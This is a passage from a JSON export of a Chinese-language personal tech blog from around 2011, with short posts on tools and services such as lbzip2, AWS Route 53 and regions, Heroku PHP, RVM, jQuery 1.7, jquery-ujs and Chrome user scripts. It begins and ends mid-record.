    "body": "手上抓了幾個 <code>.bz2</code> 的檔案要 bzcat 出來 pipe 丟給 <a href=\"http://www.perl.org/\">Perl</a> script 跑，用系統預設的 <a href=\"http://bzip.org/\">bzip2</a> 發現速度卡在解壓縮，而不是 Perl script...\r\n\r\n用 parallel 與 bzip2 當關鍵字到 <code>apt-cache</code> 裡面找，有找到兩個套件：<a href=\"http://lacos.hu/\">Lbzip2</a> 與 <a href=\"http://compression.ca/pbzip2/\">Pbzip2</a>，都裝起來後測解壓縮的功能，發現 Pbzip2 解壓縮時沒有辦法利用到多核心的優勢，而 Lbzip2 則是很順利的超過 100%，輸出結果讓 Perl script 也吃滿 CPU resource...\r\n\r\n如果是壓縮時需要壓縮率，還是用 <a href=\"http://tukaani.org/xz/\">xz</a> 就好...",
    "title": "用 Lbzip2 解壓縮"
  },
  {
    "id": "2745",
    "body": "前幾天 <a href=\"http://www.delicious.com/\">Delicious</a> 正式從 <a href=\"http://www.yahoo.com/\">Yahoo!</a> 換手給 <a href=\"http://www.avos.com/\">AVOS Systems</a> 營運，並進入 beta 階段：「<a href=\"http://www.avos.com/new-delicious/\">A New Flavor…Still Delicious</a>」。\r\n\r\n這次轉入 beta 用的是 <a href=\"http://aws.amazon.com/\">AWS</a> US-West (而不是最大的 US-East)：\r\n<code>www.delicious.com.      300     IN      CNAME   web-prd-1829768734.us-west-1.elb.amazonaws.com.\r\nweb-prd-1829768734.us-west-1.elb.amazonaws.com. 60 IN A 50.18.62.3</code>\r\nServer 用 <a href=\"http://nginx.org/\">nginx</a> (可以參考 <a href=\"http://toolbar.netcraft.com/site_report?url=http://www.delicious.com\">Site report for www.delicious.com</a> 這邊的資料)，頁面改用 <a href=\"http://zh.wikipedia.org/wiki/HTML5\">HTML5</a>，目前看起來沒有用 CDN。\r\n\r\n比較意外的是沒有用 <a href=\"http://www.google.com/analytics/\">Google Analytics</a>，而是用 <a href=\"http://chartbeat.com/\">Chartbeat</a>。\r\n\r\n超大型網站 re-startup？好像很有趣...",
    "title": "Delicious 正式換手營運..."
  },
  {
    "id": "2746",
    "body": "公告在這裡：「<a href=\"http://aws.typepad.com/aws/2011/09/amazon-route-53-now-an-even-better-value.html\">Amazon Route 53 - Now an Even Better Value</a>」、「<a href=\"http://aws.typepad.com/aws/2011/09/amazon-cloudfront-new-edge-location-brazil.html\">Amazon CloudFront & Route 53 - New Edge Location: Brazil</a>」。\r\n\r\n<a href=\"http://aws.amazon.com/route53/\">Route53</a> 的部份，對於少量使用的人來說，每個 domain 每年的代管價錢從 USD$12 降到 USD$6，而對於大量使用的人來說，更有可能降到 USD$1.2。對於有大量 domain 希望上 Anycast DNS 的人來說是個好消息。\r\n\r\n另外一個消息是 <a href=\"http://aws.amazon.com/\">AWS</a> 新增巴西的 PoP，是南美的第一個點。包括 <a href=\"http://aws.amazon.com/cloudfront/\">CloudFront</a> 以及 Route53 都將受益。不過頻寬費用與 request 費用比之前最貴的東京 20% 以上。如果費用層級再多，AWS 應該要提供可以客製化不同等級的 CDN service (設定只要某些 PoP)，不然花不太下手啊...",
    "title": "AWS Route53 降價、新增巴西 PoP..."
  },
  {
    "id": "2747",
    "body": "維基百科在官方的 Blog 上宣佈，所有的服務都支援 HTTPS (SSL)：「<a href=\"http://blog.wikimedia.org/2011/10/03/native-https-support-enabled-for-all-wikimedia-foundation-wikis/\">Native HTTPS support enabled for all Wikimedia Foundation wikis</a>」，也就是說，像是「<a href=\"https://zh.wikipedia.org/wiki/Wikipedia:%E9%A6%96%E9%A1%B5\">https://zh.wikipedia.org/wiki/Wikipedia:首页</a>」這樣的網址都支援了。\r\n\r\n除了 <code>*.wikipedia.org</code> 以外，<code>*.wikimedia.org</code> 也支援了，於是包括像是 <code>upload.wikimedia.org</code> 也都可以使用 HTTPS：(圖片取自 <a href=\"https://zh.wikipedia.org/wiki/File:Minori-Chihara-Animelo-Summer-Live-2011-08-27-21-41.jpg\">File:Minori-Chihara-Animelo-Summer-Live-2011-08-27-21-41.jpg</a>)\r\n\r\n<img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/f/fe/Minori-Chihara-Animelo-Summer-Live-2011-08-27-21-41.jpg/220px-Minori-Chihara-Animelo-Summer-Live-2011-08-27-21-41.jpg\" alt=\"\" />\r\n\r\n當然，還是有一些 script 寫死用 http，接下來應該都會被修正...",
    "title": "維基百科全面支援 HTTPS (SSL)"
  },
  {
    "id": "2748",
    "body": "簡單來說，不要在 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 下使用 <a href=\"http://www.google.com/chrome\">Google Chrome</a> + <a href=\"http://wenq.org/\">文泉驛</a>看韓文。\r\n\r\n開始用 Ubuntu 11.04 當桌機的主力就一直這樣，看韓文版維基百科會出現這樣：\r\n\r\n<a href=\"https://i.gslin.com/imgur/We1W3.webp\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/We1W3l.webp\" /><img src=\"https://i.gslin.com/imgur/We1W3l.jpg\" alt=\"\" /></picture></a>\r\n\r\n這幾天放假把筆電的 Ubuntu 升級到 11.10 最新版，發現問題還是一樣，重灌 11.10 beta2 後也還是一樣。因為新灌的機器所以就亂搞一通，意外發現切到英文語系後就正常，於是試著找原因，發現是 <code>/etc/fonts/conf.d</code> 下的 <code>69-language-selector-zh-tw.conf</code> 設定造成的。於是對裡面設定值 trial-and-error 後發現是 sans-serif 用了文泉驛，於是韓文就爆炸了...\r\n\r\n這是拿掉後正常的樣子：\r\n\r\n<a href=\"https://i.gslin.com/imgur/P6Xkh.webp\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/P6Xkhl.webp\" /><img src=\"https://i.gslin.com/imgur/P6Xkhl.jpg\" alt=\"\" /></picture></a>\r\n\r\n花了點時間總算能看懂一些 fontconfig 的設定...",
    "title": "Ubuntu 下 Google Chrome 看韓文的問題"
  },
  {
    "id": "2749",
    "body": "上個禮拜把 <a href=\"http://group.nctu.edu.tw/\">Group.NCTU.edu.tw</a> 遠端升級到 7.4-RELEASE (從 6.4-STABLE)，但有人寫信反應，從 <a href=\"http://www.ptt.cc/\">Ptt</a> 透過信件貼到板上會失敗，找不到之前 patch 的重點，只好從頭開始一個一個解，總算是解決了：\r\n<ul>\r\n\t<li>當信件內沒有 <code>Date</code> header 時，mailpost 會送出錯誤的 <code>Date</code> 欄位。目前的解法是直接不送 <code>Date</code> 欄位。</li>\r\n\t<li>當同一封信件寄到不同信箱時 <code>Message-ID</code> 會相同，不能直接帶入 newsgroup 中。目前的解法是無視信件內的 <code>Message-ID</code>，自己生一個。</li>\r\n</ul>\r\n現在這樣應該是正常了...",
    "title": "INN 裡 mailpost 需要修正的部份..."
  },
  {
    "id": "2750",
    "body": "既然 latency 都差不多 (兩個 site 從台灣過去都要 200ms)，git push 速度感覺起來也差不多，找不到理由要付錢給 <a href=\"https://github.com/\">GitHub</a>，加上 private repository 裡面也沒什麼特別的東西，剛剛就都改丟到 <a href=\"https://bitbucket.org/\">BitBucket</a> 上面，然後把 GitHub 的付費機制 cancel 掉...\r\n\r\n步驟很簡單，在 BitBucket 上開好 private repository，然後把 <code>.git/config</code> 裡面的 <code>origin</code> 換掉後重新 <code>git push -v origin master</code> 就好了。\r\n\r\n參考：\r\n<ul>\r\n\t<li><a href=\"http://blog.othree.net/log/2011/10/04/bitbucket-rocks-with-git/\">BitBucket 支援 Git</a></li>\r\n\t<li><a href=\"http://blog.wu-boy.com/2011/10/bitbucket-support-git-repository-now/\">Bitbucket 開始支援 Git Repository</a></li>\r\n</ul>",
    "title": "把 GitHub 上的 private repository 搬到 BitBucket 上..."
  },
  {
    "id": "2753",
    "body": "<a href=\"http://www.heroku.com/\">Heroku</a> 不愧是 <a href=\"http://en.wikipedia.org/wiki/Platform_as_a_service\">PaaS</a> 中的領先品牌，deploy 的操作及穩定性都相當好，加上 Heroku 每個 project 都有 1 free dyno 可以使用，對於 prototyping 其實相當棒...\r\n\r\n關於要怎麼在 Heroku 上跑 <a href=\"http://www.php.net/\">PHP</a>，可以參考 <a href=\"http://blog.xdite.net/\">xdite</a> 寫的「<a href=\"http://wp.xdite.net/?p=3109\">Create PHP application on Heroku without Facebook account</a>」這篇文章。\r\n\r\n有幾個要抱怨的：\r\n<ul>\r\n\t<li>PHP 是用 <a href=\"http://httpd.apache.org/\">Apache HTTP Server</a> 跑的，所以可以用 <code>.htaccess</code> 寫 rewrite rule，不過 <code>Options -Indexes</code> 居然會 500 (因為 <code>AllowOverride</code> 沒開給使用者用)，這個設定看起來沒有什麼 issue，應該是 Heroku 還在摸索這塊...</li>\r\n\t<li>沒有 <a href=\"http://www.imagemagick.org/\">ImageMagick</a>，只有 <a href=\"http://www.boutell.com/gd/\">GD</a>，而 GD 居然沒支援 <a href=\"http://www.jpeg.org/\">JPEG</a>，這是要讓人怎麼用...</li>\r\n\t<li>在 <code>phpinfo()</code> 看到支援的 module 有點少...</li>\r\n</ul>\r\n這些問題其實還蠻大的，不過，應該有機會改善... 應該... 應該...",
    "title": "Heroku 上跑 PHP 的心得與感想..."
  },
  {
    "id": "2756",
    "body": "在看到 <a href=\"http://phpconf.tw/2011/sessions\">PHPConf Taiwan 2011 的議程介紹</a>後，看到有人在推薦 <a href=\"http://www.slimframework.com/\">Slim Framework</a>，一連上去就看到包含 anonymous function 的 sample code：\r\n<blockquote><pre>&lt;?php\r\nrequire 'Slim/Slim.php';\r\n$app = new Slim();\r\n$app-&gt;get('/hello/:name', function ($name) {\r\n    echo \"Hello, $name!\";\r\n});\r\n$app-&gt;run();\r\n?&gt;</pre></blockquote>\r\n然後回頭去翻 <a href=\"http://php.net/\">PHP</a> 的說明：「<a href=\"http://php.net/manual/en/functions.anonymous.php\">Anonymous functions</a>」，發現是從 PHP 5.3 開始支援。\r\n\r\n於是在 JavaScript 上常用到的技巧就也可以在 PHP 上用了：(不影響到全域變數與函數空間的方式)\r\n<blockquote><pre>// JavaScript\r\n(function(){\r\n    // ...\r\n})();\r\n\r\n// PHP\r\ncall_user_func(function(){\r\n    // ...\r\n});</pre></blockquote>\r\n接下來是繼續測試 Slim Framework 了，看起來算是一個不錯的小東西... 之後拿來配合 <a href=\"http://www.heroku.com/\">Heroku</a> 這類的 PasS 快速開發應該會很好用 :o",
    "title": "PHP 5.3 的 anonymous function"
  },
  {
    "id": "2757",
    "body": "在 <a href=\"http://code.mixpanel.com/\">Mixpanel Engineering</a> 上提到 <a href=\"http://mixpanel.com/\">Mixpanel</a> 從 <a href=\"http://aws.amazon.com/\">AWS</a> 搬到 <a href=\"http://www.softlayer.com/\">SoftLayer</a>：「<a href=\"http://code.mixpanel.com/2011/10/27/why-we-moved-off-the-cloud/\">Why We Moved Off The Cloud</a>」。\r\n\r\n去年差不多的時間，Mixpanel 從 <a href=\"http://www.rackspacecloud.com/\">Rackspace Cloud</a> 搬到 <a href=\"http://aws.amazon.com/\">AWS</a>：「<a href=\"http://code.mixpanel.com/2010/11/08/amazon-vs-rackspace/\">We’re moving. Goodbye Rackspace.</a>」。\r\n\r\n每次換的原因都很簡單，就是成長時會遇到問題，然後本來至這家必須用 hack 去堆解法，總是會有一天堆到沒辦法解，或是堆到有人受不了。然後就換到更彈性的方案。\r\n\r\n因為 Mixpanel 去年遇到 Rackspace Cloud 的儲存空間限制 (620GB 限制)，以及需要更彈性的機器種類 (有些服務需要記憶體，像是 cache server，而有些則是偏向 CPU，像是 web server，有些則是兩者都需要，像是 database server)，所以從 Rackspace 搬到 AWS。\r\n\r\n用了一年的 AWS，接下來今年遇到 performance 問題 (尤其是 I/O performance)，所以決定從 AWS 搬出來換成 SoftLayer 的 dedicated hosting service。因為可以客製磁碟的種類與數量。\r\n\r\n至於這兩次搬遷所提到的其他原因看起來只是附帶順便提出來，應該不是主要的問題。\r\n\r\n接下來。如果 Mixpanel 變得更大的話應該是 colocation 吧。dedicated hosting 可以提供機器以及基本的網路服務，如果要比較特殊的設備 (Load Balancer、VPN、Firewall、NAS、SAN、whatever...)，遇到沒有提供加值服務的就得改轉成 colocation 自己採購 server 了...",
    "title": "Mixpanel 從 AWS 搬到 Softlayer"
  },
  {
    "id": "2760",
    "body": "當大家都在期待 <a href=\"http://www.diablo3.com/\">Diablo III</a> 的時候，<a href=\"http://www.blizzard.com/games/d2/\">Diablo 2</a> 居然出 1.13d 新版 patch 了：「<a href=\"http://forums.battle.net/thread.html?topicId=27835073330\">Patch 1.13d Now Live</a>」...\r\n\r\n然後天梯 (Ladder) 也重置 (reset) 了，喂喂這哪招，Diablo III 出來前大家好好努力？XDDD",
    "title": "Diablo 2 居然出新版了..."
  },
  {
    "id": "2762",
    "body": "把 blog 搬回自己的主機上跑，好像沒有快多少...",
    "title": "把 blog 搬回自己主機..."
  },
  {
    "id": "2763",
    "body": "為了跑 <a href=\"https://github.com/heroku/heroku\">heroku</a> 才剛裝完 1.9.2，就看到 <a href=\"http://twitter.com/\">Twitter</a> 與 <a href=\"https://plus.google.com/\">Google Plus</a> 有人說 1.9.3-p0 出了：「<a href=\"http://blade.nagaokaut.ac.jp/cgi-bin/scat.rb/ruby/ruby-core/40527\">[ANN] Ruby 1.9.3-p0 is out</a>」。\r\n\r\n首先先用 <code>rvm get head</code> 更新，然後用 <code>rvm list known</code> 應該就可以看到 1.9.3-p0 了，接下來用 <code>rvm use --default 1.9.3</code> 將預設值換成 1.9.3，然後 <code>gem install heroku</code> 把 gem 裝起來...",
    "title": "用 RVM 安裝 Ruby 1.9.3"
  },
  {
    "id": "2764",
    "body": "<a href=\"http://www.google.com/reader\">Google Reader</a> 這次一改版後，在網路上可以看到一堆人抱怨到翻...\r\n\r\n用「<a href=\"https://www.google.com/search?q=google+reader+site%3Auserscripts.org\">google reader site:userscripts.org</a>」，然後設限 24 小時內更新的網頁，果然找到不少人試著用 Greasemonkey 寫了對應的 CSS 修改。目前看起來有兩個還不錯：\r\n<ul>\r\n\t<li><a href=\"http://userscripts.org/scripts/show/116850\">Google Reader Demarginfier</a></li>\r\n\t<li><a href=\"http://userscripts.org/scripts/show/116868\">Fix New Google Reader Layout</a> (建議與前面的 Google Reader Demarginfier 一起用)</li>\r\n</ul>\r\n這兩個 script 在 <a href=\"http://www.google.com/chrome\">Google Chrome</a> 上沒問題 (沒測過 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a>，所以不確定 Firefox 是否正常)，安裝後 reload 看起來好不少...\r\n\r\n工具類的網站還是要把空間留給資訊用，留白反而讓人不方便...",
    "title": "Google Reader 改版，以及「自力救濟」的方法..."
  },
  {
    "id": "2765",
    "body": "拿到 <a href=\"http://www.apple.com/tw/iphone/iphone-4s/\">iPhone 4S</a> 後到<a href=\"http://www.cht.com.tw/\">中華電信</a>辦了 Micro-SIM，但 iPhone 沒辦法直接吃 <a href=\"http://www.emome.net/channel?chid=563\">mCool</a> 方案上網 (APN 為 <code>emome</code>，APN Proxy <code>10.1.1.1:8080</code>)，得另外想辦法設定。\r\n\r\n原來在 <a href=\"http://www.apple.com/tw/iphone/\">iPhone 4</a> 的方法也可以在 4S (iOS5) 上面用，也就是「<a href=\"http://iphone4.tw/forums/showthread.php?t=103152\">mCool專用iPhone設定檔 (不需JB)</a>」這篇所提到的方法，裡面有一個 .zip 檔，解開後讓 iPhone 的 Safari 開裡面的檔案就可以了。我把檔案放在：「<a href=\"http://colo-p.gslin.org/~gslin/mCool.mobileconfig\">mCool.mobileconfig</a>」。\r\n\r\n記得要打電話請中華電信把 APN 為 <code>internet</code> 的連線權限關掉，這樣才不會收到奇怪的帳單。",
    "title": "在 iOS5 上面使用 mCool..."
  },
  {
    "id": "2768",
    "body": "<a href=\"https://www.google.com/reader\">Google Reader</a> 這次改版另外一個為人詬病的問題是「變卡」，主要原因是 <a href=\"https://plus.google.com/\">Google Plus</a>。\r\n\r\n第一個想到的解決是利用 <a href=\"http://adblockplus.org/\">Adblock Plus</a>，將 <code>http://www.google.com/reader/*</code> 以及 <code>https://www.google.com/reader/*</code> 連到 <code>https://plusone.google.com/*</code> 的連線需求都都擋下來。但看了 Adblock Plus 的文件，不知道要怎麼設定...\r\n\r\n後來想到的解法是自己寫 Google Chrome Extension，主要是很久沒寫都忘光了，剛好找個實際會用到的功能來寫... 主要是用到 <code><a href=\"http://code.google.com/chrome/extensions/tabs.html\">chrome.tabs</a></code> 與 <code><a href=\"http://code.google.com/chrome/extensions/experimental.webRequest.html\">chrome.experimental.webRequest</a></code> 兩組 API 組合。其中後面這組 API 必須用 <code>about:flags</code> 打開權限才能使用。\r\n\r\n成品在這：「<a href=\"https://github.com/gslin/google-reader-faster\">google-reader-faster</a>」，由於用到 <a href=\"http://www.google.com/chrome\">Google Chrome</a> 的 Experimental API 所以無法上傳到 Web Store，所以暫時先用 dev mode 把 extension 讀進來用。之後要來再研究看看 Adblock Plus 是怎麼做到的...\r\n\r\n把 Google Plus 擋掉後用鍵盤快速鍵操作順很多 XD",
    "title": "擋掉 Google Plus，加快 Google Reader 速度..."
  },
  {
    "id": "2771",
    "body": "在 <a href=\"http://twitter.com/\">Twitter</a> 上<a href=\"https://twitter.com/#!/jamingo/status/132834963107221504\">被丟了訊息</a>，這類訊息通常就是看看而已... 但是連上去看了以後發現價錢相當便宜：「<a href=\"http://nexmo.com/pricing/index.html\">Nexmo - Pricing</a>」，台灣的簡訊是每則 EUR$0.011，相當於 NTD$0.45...\r\n\r\n用 <a href=\"http://www.perl.org/\">Perl</a> 寫了程式測，測了兩次都很快收到，大約五秒鐘內吧。不過發現中文還是有問題：(這是「中文測試」四個字)\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/6314979711\"><img src=\"http://farm7.static.flickr.com/6223/6314979711_c0ea97bc38.jpg\" alt=\"\" /></a>\r\n\r\n丟回去給丟我 Twitter 的人了，不知道會不會解...\r\n\r\n<strong>Update</strong>：是我程式的問題 (少了指定 type=unicode)，不是對方的 API 有問題：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/6316011798\"><img src=\"http://farm7.static.flickr.com/6044/6316011798_f80c469a15.jpg\" alt=\"\" /></a>\r\n\r\n來把一些東西丟上去玩看看...",
    "title": "用 Nexmo 送簡訊"
  },
  {
    "id": "2773",
    "body": "<a href=\"http://blog.jquery.com/2011/11/03/jquery-1-7-released/\">jQuery 1.7</a> 前幾天丟出來了，可以看到很多對 event 操作的改善，包括效能與功能 (新增了 <code>.on()</code> 與 <code>.off()</code>)：「<a href=\"http://blog.jquery.com/2011/11/03/jquery-1-7-released/\">jQuery 1.7 Released</a>」。\r\n\r\n另外今天又看到瘦身計畫：「<a href=\"http://blog.jquery.com/2011/11/08/building-a-slimmer-jquery/\">Building a Slimmer jQuery</a>」，希望把一些「應該要拿掉」或是「應該要被修正」的問題處理掉... 所以在 jQuery 1.7 標為 Deprecation，預定在下個主版本就會處理掉這些問題。\r\n\r\n目前 (對我家) 最主要的影響應該是 <code>.live()</code> 會被拔掉，以及之前有使用 <code>.attr('value')</code> 取 current value (要 current value 應該用 <code>.val()</code> 取得)。\r\n\r\n看起來是往好的方面進行...",
    "title": "jQuery 1.7 版，並計畫瘦身 jQuery..."
  },
  {
    "id": "2774",
    "body": "<a href=\"http://aws.amazon.com/\">AWS</a> 在美西開了新的 region，地點在奧勒岡：「<a href=\"http://aws.amazon.com/about-aws/whats-new/2011/11/08/Announcing-new-us-west-oregon-region/\">Announcing the new US West (Oregon) Region</a>」、「<a href=\"http://aws.typepad.com/aws/2011/11/now-open-us-west-portland-region.html\">Now Open - US West (Oregon) Region</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ZNHgh.webp\" /><img src=\"https://i.gslin.com/imgur/ZNHgh.jpg\" alt=\"Announcing the new US West (Oregon) Region\" /></picture>\r\n\r\nregion 的代號是 <code>us-west-2</code>，機器、頻寬、request 價格都與美東維吉尼亞 <code>us-east-1</code> 相同，也就是比加州 <code>us-west-1</code> 便宜一些。不過目前的 routing 還需要調整，台灣有些 ISP 過去會需要 170ms...\r\n\r\n要測試新東西應該會在這邊測試吧 (latency 會低一些)，不過要等 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 官方到上面建立 AMI...",
    "title": "AWS 美西 Oregon 機房"
  },
  {
    "id": "2775",
    "body": "昨天聽 <a href=\"http://blog.othree.net/\">othree</a> 提到 <a href=\"https://github.com/rails/jquery-ujs\">jquery-ujs</a> (Unobtrusive scripting adapter for jQuery)，裡面有不少 convention 可以直接套用。othree 在三月有寫一篇文章介紹：「<a href=\"http://blog.othree.net/log/2011/03/09/jquery-ujs/\">jQuery-ujs</a>」。\r\n\r\n雖然 repository 看起來是給 <a href=\"http://rubyonrails.org/\">RoR</a> 使用，但直接把 <a href=\"https://github.com/rails/jquery-ujs/blob/master/src/rails.js\">rails.js</a> 抓下來用「<code>&lt;script src=\"rails.js\"&gt;&lt;/script&gt;</code>」掛上來，還是可以用在非 RoR 環境裡。\r\n\r\n直接看 code 也很好懂，舉幾個例子來說：\r\n<blockquote><pre>&lt;?php $sToken = hash('sha256', session_id()); ?&gt;\r\n&lt;meta name=\"csrf-token\" content=\"&lt;?php echo $sToken; ?&gt;\"&gt;\r\n&lt;meta name=\"csrf-param\" content=\"sToken\"&gt;</pre></blockquote>\r\n表示 CSRF token 名稱為 <code>sToken</code>，值為 <code>hash('sha256', sesssion_id())</code>。\r\n\r\n對於想要先跳出 confirm dialog，再決定要不要繼續執行的連結，可以加上 <code>data-confirm</code> 表示：\r\n<blockquote><pre>&lt;a href=\"/delete/1\" data-confirm=\"是否要刪除？\"&gt;</pre></blockquote>\r\n如果要用 POST (上面的 delete operation 不應該用 GET，因為資料被變更)，可以加上 <code>data-method</code>：\r\n<blockquote><pre>&lt;a href=\"/delete/1\" data-confirm=\"是否要刪除？\" data-method=\"post\"&gt;</pre></blockquote>\r\n或是直接用 DELETE，在 server side 可以讀 <code>_method</code> 這個值：\r\n<blockquote><pre>&lt;a href=\"/delete/1\" data-confirm=\"是否要刪除？\" data-method=\"delete\"&gt;</pre></blockquote>\r\n最後，建議大家去看 <a href=\"https://github.com/rails/jquery-ujs/wiki\">jquery-ujs 的 wiki</a>，上面有針對用法有比較完整的說明，配著 source code 一起看會比較容易上手。",
    "title": "改用 jquery-ujs..."
  },
  {
    "id": "2777",
    "body": "實在是睡不著，來整理一些資料...\r\n\r\n不知道「<a href=\"http://www.chromium.org/developers/design-documents/user-scripts\">User Scripts - The Chromium Projects</a>」這份是否 outdated 了，但至少發現在 <a href=\"http://www.google.com/chrome\">Google Chrome</a> 裡面推薦用 <code>@match</code> 設定 url，不過原先的 <code>@include</code> 還是可以用：\r\n<blockquote>Support for Greasemonkey-style @include patterns is also implemented for compatibility, but @match is preferred.</blockquote>\r\n在 Greasemonkey 的「<a href=\"http://wiki.greasespot.net/Metadata_Block\">Metadata Block - GreaseSpot</a>」說明中則是用 <code>@include</code> 設定，直到 0.9.8 (2011/08/01 release) 以及之後的版本才同時支援 <code>@include</code> 與 <code>@match</code>。\r\n\r\n之後改寫 script 的時候再更新好了...",
    "title": "Google Chrome 的 user script 與 Greasemonkey 的不同..."
  },
  {
    "id": "2778",
    "body": "要編輯<a href=\"http://zh.wikipedia.org/\">維基百科</a>的時候發現字寬好像不太熟悉，多看了幾個站台，發現 <a href=\"http://www.google.com/chrome\">Google Chrome</a> 在 Mac 下面對 <code>textarea</code> 預設的字型不是等寬字... 而且預設的套件沒辦法修改 :o\r\n\r\n知道問題後，就是要找解法了... 目前的解法是裝 <a href=\"https://chrome.google.com/webstore/detail/fjnbnpbmkenffdnngjfgmeleoegfcffe\">Stylish</a>，對所有站台的 <code>textarea</code> 加上 <code>font-family: monospace;</code>，這樣就可以避免當網站沒有對 <code>textarea</code> 指定 <code>font-family</code> 時看起來很突兀...",
    "title": "Mac 下 Google Chrome 的 textarea 預設字型..."
  },
  {
    "id": "2780",
    "body": "來函照登：(如果看不清楚，點圖片可以看原始圖片)\r\n\r\n<a href=\"https://i.gslin.com/imgur/FdmgD.webp\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/FdmgD.webp\" /><img src=\"https://i.gslin.com/imgur/FdmgD.jpg\" alt=\"「全球創新大賽CODE_n 12」公關稿\" /></picture></a>\r\n\r\n呃... tag 不知道要下什麼...",
    "title": "全球創新大賽CODE_n 12"
  },
  {
    "id": "2781",
    "body": "<a href=\"https://chrome.google.com/webstore/detail/piekbefgpgdecckjcpffhnacjflfoddg\">Pretty Beautiful Javascript</a>，這是安裝前看 jQuery 1.7.0 程式碼的效果：\r\n\r\n<a href=\"https://i.gslin.com/imgur/qqBI5.webp\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/qqBI5.webp\" /><img src=\"https://i.gslin.com/imgur/qqBI5.jpg\" alt=\"\" /></picture></a>\r\n\r\n這是安裝後的效果：\r\n\r\n<a href=\"https://i.gslin.com/imgur/cNatZ.webp\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/cNatZ.webp\" /><img src=\"https://i.gslin.com/imgur/cNatZ.jpg\" alt=\"\" /></picture></a>\r\n\r\n不過 javascript 檔案大一點跑起來就會很慢 XD",
    "title": "安裝 Pretty Beautiful Javascript..."
  },
  {
    "id": "2782",
    "body": "起因是想要關掉 <a href=\"http://www.google.com/chrome\">Google Chrome</a> 在 <a href=\"http://www.apple.com/macosx/\">Mac OS X</a> 上的平滑捲動，找了半天都沒看到，後來被人提醒，Mac 系統有選項提供平滑捲動，Google Chrome 有平滑捲動可能是由作業系統提供，而非 Google Chrome 自己實作：\r\n\r\n<a href=\"http://imgur.com/EMLZU\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/EMLZU.webp\" /><img src=\"https://i.gslin.com/imgur/EMLZU.jpg\" alt=\"\" /></picture></a>\r\n\r\n關掉後問題就解決了...",
    "title": "關掉 Mac OS X 上的平滑捲動..."
  },
  {
    "id": "2789",
    "body": "家裡的 <a href=\"http://www.apple.com/macmini/\">Mac Mini</a> 與 <a href=\"http://www.apple.com/magicmouse/\">Magic Mouse</a> 中間透過藍牙連接，但有時候會斷掉...\r\n\r\n剛開始是接隻 <a href=\"http://store.apple.com/us/product/MB112LL/B\">Apple Mouse</a> 重開藍牙，後來覺得太麻煩了，還是要找可以用鍵盤搞定的方法：「<a href=\"http://www.frederikseiffert.de/blueutil/\">blueutil » Command-Line Control of Bluetooth on the Mac</a>」，裝好後用 <code>blueutil off; blueutil on</code> 就可以重新打開藍牙...",
    "title": "重新啟動 Mac 的藍牙..."
  },
  {
    "id": "2791",
    "body": "<a href=\"http://www.mozilla.com/firefox\">Firefox</a> 預定在 11 (現在是 8) 支援 SPDY Protocol：「<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=528288\">(SPDY) Implement SPDY protocol</a>」，除了 <a href=\"http://www.google.com/chrome\">Google Chrome</a> 自家瀏覽器支援外，總算有個大的也要支援了...\r\n\r\n所以現在除了 Chrome、<a href=\"http://www.amazon.com/Kindle-Fire-Amazon-Tablet/dp/B0051VVOB2\">Kindle Fire</a> 以外，又多了 Firefox 支援...\r\n\r\n不過 <a href=\"http://www.apache.org/\">Apache</a> 與 <a href=\"http://www.f5.com/\">F5</a> 什麼時候會支援呢... <a href=\"http://code.google.com/p/mod-spdy/\">mod-spdy</a> 看起來... 呃...",
    "title": "Firefox 11 將會支援 SPDY Protocol"
  },
  {
    "id": "2793",
    "body": "<a href=\"https://github.com/\">GitHub</a> 買 <a href=\"http://orderedlist.com/\">Ordered List</a>，兩邊都有新聞稿：\r\n<ul>\r\n\t<li><a href=\"http://orderedlist.com/blog/articles/ordered-list-acquired-by-github/\">Ordered List Acquired by GitHub</a></li>\r\n\t<li><a href=\"https://github.com/blog/993-ordered-list-is-a-githubber\">Ordered List is a GitHubber</a></li>\r\n</ul>\r\nOrdered List 的產品質感一直都很不錯，最近比較有名的產品就是 <a href=\"http://speakerdeck.com/\">Speaker Deck</a>，像是 <a href=\"http://blog.othree.net/\">othree</a> 講 Base2 這篇，embed 起來的效果：\r\n\r\n<script src=\"http://speakerdeck.com/embed/4e8132991640b50060000ffb.js\"></script>",
    "title": "GitHub 買下 Ordered List..."
  },
  {
    "id": "2795",
    "body": "參考「<a href=\"http://askubuntu.com/questions/68151/revert-alt-tab-behavior-changed-in-11-10\">Revert Alt-tab behavior changed in 11.10</a>」這篇提到的方法改。\r\n\r\n<a href=\"http://www.ubuntu.com/\">Ubuntu</a> 11.10 的 Alt-Tab 切換視窗的行為與 11.04 不同，會遇到切換兩次是不會切回原來視窗的情況。\r\n\r\n我遇到的情況是 <a href=\"http://www.google.com/chrome\">Google Chrome</a> 除了 browser 本身以外，還開了一個 <a href=\"https://chrome.google.com/webstore/detail/mjbfkceielapenhcdmppjfjfhjelhcjc\">Tasky for Google Tasks</a>，於是在系統裡面就會有兩個視窗。當我現在 focus 在 browser window，用 Alt-Tab 切到 terminal 後，再用 Alt-Tab 切回來，focus 變成在 Tasky 上面... 這讓人相當困擾 :o\r\n\r\n依照上面那篇文章所提到的方法改系統設定就回到原來 11.04 比較不那麼擾人的切換方式...",
    "title": "把 Ubuntu 11.10 的 Alt-Tab 行為改掉..."
  },
  {
    "id": "2797",
